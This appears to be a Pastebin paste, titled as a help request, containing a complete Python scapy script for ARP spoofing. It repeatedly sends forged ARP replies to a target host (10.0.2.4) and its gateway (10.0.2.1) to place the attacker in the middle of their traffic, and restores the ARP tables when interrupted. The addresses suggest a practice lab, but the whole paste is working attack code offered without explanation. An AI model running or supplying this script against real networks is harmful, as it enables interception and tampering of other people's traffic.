Guest User

Help request

a guest
Feb 10th, 2021
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import scapy.all as scapy
  4. import time
  5.  
  6. def get_mac(ip):
  7. arp_request = scapy.ARP(pdst=ip)
  8. broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
  9. arp_request_broadcast = broadcast/arp_request
  10. answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
  11.  
  12. return answered_list[0][1].hwsrc
  13.  
  14. def spoof(target_ip, spoof_ip):
  15. target_mac = get_mac(target_ip)
  16. packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
  17. scapy.send(packet, verbose=False)
  18.  
  19. def restore(destination_ip, source_ip):
  20. destination_mac = get_mac(destination_ip)
  21. source_mac = get_mac(source_ip)
  22. packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
  23. scapy.send(packet, count=4, verbose=False)
  24.  
  25. target_ip = "10.0.2.4"
  26. gateway_ip = "10.0.2.1"
  27.  
  28. try:
  29. sent_packets_count = 0
  30. while True:
  31. spoof(target_ip, gateway_ip)
  32. spoof(gateway_ip, target_ip)
  33. sent_packets_count = sent_packets_count + 2
  34. print("\r[+] Packets sent: " + str(sent_packets_count), end="")
  35. time.sleep(2)
  36. except KeyboardInterrupt:
  37. print("\n[*] Detected CTRL C... Restoring ARP table info!\n")
  38. restore(target_ip, gateway_ip)
  39. restore(gateway_ip, target_ip)
Advertisement
Add Comment
Please, Sign In to add comment